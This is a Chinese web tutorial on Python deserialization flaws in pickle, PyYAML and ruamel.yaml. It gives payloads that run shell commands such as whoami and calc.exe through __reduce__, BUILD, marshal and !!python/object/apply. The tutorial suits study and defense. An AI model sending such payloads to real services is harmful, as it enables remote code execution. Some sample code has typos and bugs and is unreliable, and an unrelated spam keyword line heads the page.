久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長(zhǎng)資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      帶你搞懂Python反序列化

      本篇文章給大家?guī)?lái)了關(guān)于python的相關(guān)知識(shí),其中主要介紹了關(guān)于反序列化的相關(guān)問(wèn)題,反序列化:pickle.loads() 將字符串反序列化為對(duì)象、pickle.load() 從文件中讀取數(shù)據(jù)反序列化,希望對(duì)大家有幫助。

      帶你搞懂Python反序列化

      推薦學(xué)習(xí):python教程

      Python反序列化漏洞

      Pickle

      • 序列化:pickle.dumps() 將對(duì)象序列化為字符串、pickle.dump() 將對(duì)象序列化后的字符串存儲(chǔ)為文件
      • 反序列化:pickle.loads() 將字符串反序列化為對(duì)象、pickle.load() 從文件中讀取數(shù)據(jù)反序列化

      使用dumps()loads() 時(shí)可以使用 protocol 參數(shù)指定協(xié)議版本

      協(xié)議有0,1,2,3,4,5號(hào)版本,不同的 python 版本默認(rèn)的協(xié)議版本不同。這些版本中,0號(hào)是最可讀的,之后的版本為了優(yōu)化加入了不可打印字符

      協(xié)議是向下兼容的,0號(hào)版本也可以直接使用

      可序列化的對(duì)象

      • NoneTrueFalse
      • 整數(shù)、浮點(diǎn)數(shù)、復(fù)數(shù)
      • str、byte、bytearray
      • 只包含可封存對(duì)象的集合,包括 tuple、list、set 和 dict
      • 定義在模塊最外層的函數(shù)(使用 def 定義,lambda 函數(shù)則不可以)
      • 定義在模塊最外層的內(nèi)置函數(shù)
      • 定義在模塊最外層的類(lèi)
      • __dict__ 屬性值或 __getstate__() 函數(shù)的返回值可以被序列化的類(lèi)(詳見(jiàn)官方文檔的Pickling Class Instances)

      反序列化流程

      pickle.load()和pickle.loads()方法的底層實(shí)現(xiàn)是基于 _Unpickler()方法來(lái)反序列化

      在反序列化過(guò)程中,_Unpickler(以下稱(chēng)為機(jī)器吧)維護(hù)了兩個(gè)東西:棧區(qū)和存儲(chǔ)區(qū)

      為了研究它,需要利用一個(gè)調(diào)試器 pickletools

      [外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]

      從圖中可以看出,序列化后的字符串實(shí)際上是一串 PVM(Pickle Virtual Machine) 指令碼,指令碼以棧的形式存儲(chǔ)、解析

      PVM指令集

      完整PVM指令集可以在 pickletools.py 中查看,不同協(xié)議版本使用的指令集略有不同

      上圖中的指令碼可以翻譯成:

          0: x80 PROTO      3  # 協(xié)議版本     2: ]    EMPTY_LIST  # 將空列表推入棧     3: (    MARK  # 將標(biāo)志推入棧     4: X        BINUNICODE 'a'  # unicode字符    10: X        BINUNICODE 'b'    16: X        BINUNICODE 'c'    22: e        APPENDS    (MARK at 3)  # 將3號(hào)標(biāo)準(zhǔn)之后的數(shù)據(jù)推入列表    23: .    STOP  # 彈出棧中數(shù)據(jù),結(jié)束 highest protocol among opcodes = 2

      指令集中有幾個(gè)重要的指令碼:

      • GLOBAL = b’c’ # 將兩個(gè)以換行為結(jié)尾的字符串推入棧,第一個(gè)是模塊名,第二個(gè)是類(lèi)名,即可以調(diào)用全局變量 xxx.xxx 的值
      • REDUCE = b’R’ # 將可調(diào)用元組和參數(shù)元組生成的對(duì)象推進(jìn)棧,即__reduce()返回的第一個(gè)值作為可執(zhí)行函數(shù),第二個(gè)值為參數(shù),執(zhí)行函數(shù)
      • BUILD = b’b’ # 通過(guò)__setstate__或更新__dict__完成構(gòu)建對(duì)象,如果對(duì)象具有__setstate__方法,則調(diào)用anyobject .__setstate__(參數(shù));如果無(wú)__setstate__方法,則通過(guò)anyobject.__dict__.update(argument)更新值(更新可能會(huì)產(chǎn)生變量覆蓋)
      • STOP = b’.’ # 結(jié)束

      一個(gè)更復(fù)雜的例子:

      import pickleimport pickletoolsclass a_class():     def __init__(self):         self.age = 24         self.status = 'student'         self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 優(yōu)化一個(gè)已經(jīng)被打包的字符串a(chǎn)_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反匯編一個(gè)已經(jīng)被打包的字符串pickletools.dis(a_class_pickle)
          0: x80 PROTO      3     2: c    GLOBAL     '__main__ a_class'    20: )    EMPTY_TUPLE  # 將空元組推入棧    21: x81 NEWOBJ  # 表示前面的棧的內(nèi)容為一個(gè)類(lèi)(__main__ a_class),之后為一個(gè)元組(20行推入的元組),調(diào)用cls.__new__(cls, *args)(即用元組中的參數(shù)創(chuàng)建一個(gè)實(shí)例,這里元組實(shí)際為空)    22: }    EMPTY_DICT  # 將空字典推入棧    23: (    MARK    24: X        BINUNICODE 'age'    32: K        BININT1    24    34: X        BINUNICODE 'status'    45: X        BINUNICODE 'student'    57: X        BINUNICODE 'list'    66: ]        EMPTY_LIST    67: (        MARK    68: X            BINUNICODE 'a'    74: X            BINUNICODE 'b'    80: X            BINUNICODE 'c'    86: e            APPENDS    (MARK at 67)    87: u        SETITEMS   (MARK at 23)  # 將將從23行開(kāi)始傳入的值以鍵值對(duì)添加到現(xiàn)有字典中    88: b    BUILD  # 更新字典完成構(gòu)建    89: .    STOP highest protocol among opcodes = 2

      常見(jiàn)的函數(shù)執(zhí)行

      與函數(shù)執(zhí)行相關(guān)的 PVM 指令集有三個(gè): R 、 io ,所以我們可以從三個(gè)方向進(jìn)行構(gòu)造:

      R

      b'''cos system (S'whoami' tR.'''

      i

      b'''(S'whoami' ios system .'''

      o

      b'''(cos system S'whoami' o.'''

      __reduce()__命令執(zhí)行

      __recude()__ 魔法函數(shù)會(huì)在反序列化過(guò)程結(jié)束時(shí)自動(dòng)調(diào)用,并返回一個(gè)元組。其中,第一個(gè)元素是一個(gè)可調(diào)用對(duì)象,在創(chuàng)建該對(duì)象的最初版本時(shí)調(diào)用,第二個(gè)元素是可調(diào)用對(duì)象的參數(shù),使得反序列化時(shí)可能造成RCE漏洞

      觸發(fā) __reduce()_ 的指令碼為“R,**只要在序列化中的字符串中存在R指令**,reduce方法就會(huì)被執(zhí)行,無(wú)論正常程序中是否寫(xiě)明了reduce`方法

      pickle 在反序列化時(shí)會(huì)自動(dòng) import 未引入的模塊,所以 python 標(biāo)準(zhǔn)庫(kù)中的所有代碼執(zhí)行、命令執(zhí)行函數(shù)都可使用,但生成 payload 的 python 版本最好與目標(biāo)一致

      例:

      class a_class():     def __reduce__(self):         return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.滿足返回一個(gè)元組,元組中至少有兩個(gè)參數(shù)# 2.第一個(gè)參數(shù)是被調(diào)用函數(shù) : os.system()# 3.第二個(gè)參數(shù)是一個(gè)元組:('whoami',),元組中被調(diào)用的參數(shù) 'whoami' 為被調(diào)用函數(shù)的參數(shù)# 4. 因此序列化時(shí)被解析執(zhí)行的代碼是 os.system('whoami')
      b'x80x03cntnsystemnqx00Xx06x00x00x00whoamiqx01x85qx02Rqx03.' b'x80x03cntnsystemnXx06x00x00x00whoamix85R.'     0: x80 PROTO      3     2: c    GLOBAL     'nt system'    13: X    BINUNICODE 'whoami'    24: x85 TUPLE1    25: R    REDUCE    26: .    STOP highest protocol among opcodes = 2

      將該字符串反序列化后將會(huì)執(zhí)行命令 os.system('whoami')

      全局變量覆蓋

      __reduce()_利用的是 R 指令碼,造成REC,而利用 GLOBAL = b’c’ 指令碼則可以觸發(fā)全局變量覆蓋

      # secret.pya = aaaaaa
      # unser.pyimport secretimport pickleclass flag():     def __init__(self, a):         self.a = a  your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:     print('flag:{}'.format(secret_flag.a))else:     print('No!')

      在不知道 secret.a 的情況下要如何獲得 flag 呢?

      先嘗試獲得 flag() 的序列化字符串:

      class flag():     def __init__(self, a):         self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
      b'x80x03c__main__nFlagn)x81}Xx01x00x00x00aXx01x00x00x00Asb.'     0: x80 PROTO      3     2: c    GLOBAL     '__main__ Flag'    17: q    BINPUT     0    19: )    EMPTY_TUPLE    20: x81 NEWOBJ    21: q    BINPUT     1    23: }    EMPTY_DICT    24: q    BINPUT     2    26: X    BINUNICODE 'a'    32: q    BINPUT     3    34: X    BINUNICODE 'A'    40: q    BINPUT     4    42: s    SETITEM    43: b    BUILD    44: .    STOP highest protocol among opcodes = 2

      可以看到,在34行進(jìn)行了傳參,將變量 A 傳入賦值給了a。若將 A 修改為全局變量 secret.a,即將 X BINUNICODE 'A' 改為 c GLOBAL 'secret a'(Xx01x00x00x00A 改為 csecretnan)。將該字符串反序列化后,self.a 的值等于 secret.a 的值,成功獲取 flag

      除了改寫(xiě) PVM 指令的方式外,還可以使用 exec 函數(shù)造成變量覆蓋:

      test1 = 'test1'test2 = 'test2'class A:    def __reduce(self):        retutn exec, "test1='asd'ntest2='qwe'"

      利用BUILD指令RCE(不使用R指令)

      通過(guò)BUILD指令與GLOBAL指令的結(jié)合,可以把現(xiàn)有類(lèi)改寫(xiě)為os.system或其他函數(shù)

      假設(shè)某個(gè)類(lèi)原先沒(méi)有__setstate__方法,我們可以利用{'__setstate__': os.system}來(lái)BUILE這個(gè)對(duì)象

      BUILD指令執(zhí)行時(shí),因?yàn)闆](méi)有__setstate__方法,所以就執(zhí)行update,這個(gè)對(duì)象的__setstate__方法就改為了我們指定的os.system

      接下來(lái)利用'whoami'來(lái)再次BUILD這個(gè)對(duì)象,則會(huì)執(zhí)行setstate('whoami'),而此時(shí)__setstate__已經(jīng)被我們?cè)O(shè)置為os.system,因此實(shí)現(xiàn)了RCE

      例:

      代碼中存在一個(gè)任意類(lèi):

      class payload:     def __init__(self):         pass

      根據(jù)這個(gè)類(lèi)構(gòu)造 PVM 指令:

          0: x80 PROTO      3     2: c    GLOBAL     '__main__ payload'    17: q    BINPUT     0    19: )    EMPTY_TUPLE    20: x81 NEWOBJ    21: }    EMPTY_DICT  # 使用BUILD,先放入一個(gè)字典    22: (    MARK  # 放值前先放一個(gè)標(biāo)志    23: V        UNICODE    '__setstate__'  # 放鍵值對(duì)    37: c        GLOBAL     'nt system'    48: u        SETITEMS   (MARK at 22)    49: b    BUILD  # 第一次BUILD    50: V    UNICODE    'whoami'  # 加參數(shù)    58: b    BUILD  # 第二次BUILD    59: .    STOP

      將上述 PVM 指令改寫(xiě)成 bytes 形式:b'x80x03c__main__npayloadn)x81}(V__setstate__ncntnsystemnubVwhoaminb.',使用 piclke.loads() 反序列化后成功執(zhí)行命令

      利用Marshal模塊造成任意函數(shù)執(zhí)行

      pickle 不能將代碼對(duì)象序列化,但 python 提供了一個(gè)可以序列化代碼對(duì)象的模塊 Marshal

      但是序列化的代碼對(duì)象不再能使用 __reduce()_ 調(diào)用,因?yàn)?code>__reduce__是利用調(diào)用某個(gè)可調(diào)用對(duì)象并傳遞參數(shù)來(lái)執(zhí)行的,而我們這個(gè)函數(shù)本身就是一個(gè)可調(diào)用對(duì)象 ,我們需要執(zhí)行它,而不是將他作為某個(gè)函數(shù)的參數(shù)。隱藏需要利用 typres 模塊來(lái)動(dòng)態(tài)的創(chuàng)建匿名函數(shù)

      import marshalimport typesdef code():     import os    print('hello')     os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2為 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types動(dòng)態(tài)創(chuàng)建匿名函數(shù)并執(zhí)行

      pickle 上使用:

      import pickle# 將types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改寫(xiě)為 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s)  # 字符串轉(zhuǎn)換為 bytes

      漏洞出現(xiàn)位置

      • 解析認(rèn)證 token、session 時(shí)
      • 將對(duì)象 pickle 后存儲(chǔ)在磁盤(pán)文件
      • 將對(duì)象 pickle 后在網(wǎng)絡(luò)中傳輸
      • 參數(shù)傳遞給程序

      PyYAML

      yaml 是一種標(biāo)記類(lèi)語(yǔ)言,類(lèi)似與 xmljson,各個(gè)支持yaml格式的語(yǔ)言都會(huì)有自己的實(shí)現(xiàn)來(lái)進(jìn)行 yaml 格式的解析(讀取和保存),PyYAML 就是 yaml 的 python 實(shí)現(xiàn)

      在使用 PyYAML 庫(kù)時(shí),若使用了 yaml.load() 而不是 yaml.safe_load() 函數(shù)解析 yaml文件,則會(huì)導(dǎo)致反序列化漏洞的產(chǎn)生

      原理

      PyYAML 有針對(duì) python 語(yǔ)言特有的標(biāo)簽解析的處理函數(shù)對(duì)應(yīng)列表,其中有三個(gè)和對(duì)象相關(guān):

      !!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

      例如:

      # Test.pyimport yamlimport osclass test:     def __init__(self):         os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

      該代碼執(zhí)行后,會(huì)生成 sample.yml ,并寫(xiě)入 !!python/object:__main__.test {}

      將文件內(nèi)容改為 !!python/object:Test.test {} 再使用 yaml.load() 解析該 yaml 文件:

      import yaml yaml.load(file('sample.yml', 'w'))

      帶你搞懂Python反序列化

      命令成功執(zhí)行。但是命令的執(zhí)行依賴(lài)于 Test.py 的存在,因?yàn)?yaml.load() 時(shí)會(huì)根據(jù)yml文件中的指引去讀取 Test.py 中的 test 這個(gè)對(duì)象(類(lèi))。如果刪除 Test.py ,也將運(yùn)行失敗

      Payload

      PyYAML < 5.1

      想要消除依賴(lài)執(zhí)行命令,就需要將其中的類(lèi)或者函數(shù)換成 python 標(biāo)準(zhǔn)庫(kù)中的類(lèi)或函數(shù),并使用另外兩種 python 標(biāo)簽:

      # 該標(biāo)簽可以在 PyYAML 解析再入 YAML 數(shù)據(jù)時(shí),動(dòng)態(tài)的創(chuàng)建 Python 對(duì)象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 該標(biāo)簽會(huì)調(diào)用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

      利用這兩個(gè)標(biāo)簽,就可以構(gòu)造任意 payload:

      !!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

      PyYAML >= 5.1

      在版本 PyYAML >= 5.1 后,限制了反序列化內(nèi)置類(lèi)方法以及導(dǎo)入并使用不存在的反序列化代碼,并且在使用 load() 方法時(shí),需要加上 loader 參數(shù),直接使用時(shí)會(huì)爆出安全警告

      loader的四種類(lèi)型:

      • BaseLoader:僅加載最基本的YAML
      • SafeLoader:安全地加載YAML語(yǔ)言的子集,建議用于加載不受信任的輸入(safe_load)
      • FullLoader:加載完整的YAML語(yǔ)言,避免任意代碼執(zhí)行,這是當(dāng)前(PyYAML 5.1)默認(rèn)加載器調(diào)用yaml.load(input) (出警告后)(full_load)
      • UnsafeLoader(也稱(chēng)為L(zhǎng)oader向后兼容性):原始的Loader代碼,可以通過(guò)不受信任的數(shù)據(jù)輸入輕松利用(unsafe_load)

      在高版本中之前的 payload 已經(jīng)失效,但可以使用 subporcess.getoutput() 方法繞過(guò)檢測(cè):

      !!python/object/apply:subprocess.getoutput - whoami

      帶你搞懂Python反序列化

      在最新版本上,命令執(zhí)行成功

      ruamel.yaml

      ruamel.yaml的用法和PyYAML基本一樣,并且默認(rèn)支持更新的YAML1.2版本

      在ruamel.yaml中反序列化帶參數(shù)的序列化類(lèi)方法,有以下方法:

      • load(data)
      • load(data, Loader=Loader)
      • load(data, Loader=UnsafeLoader)
      • load(data, Loader=FullLoader)
      • load_all(data)
      • load_all(data, Loader=Loader)
      • load_all(data, Loader=UnSafeLoader)
      • load_all(data, Loader=FullLoader)

      我們可以使用上述任何方法,甚至我們也可以通過(guò)提供數(shù)據(jù)來(lái)反序列化來(lái)直接調(diào)用load(),它將完美地反序列化它,并且我們的類(lèi)方法將被執(zhí)行

      推薦學(xué)習(xí):python學(xué)習(xí)教程

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)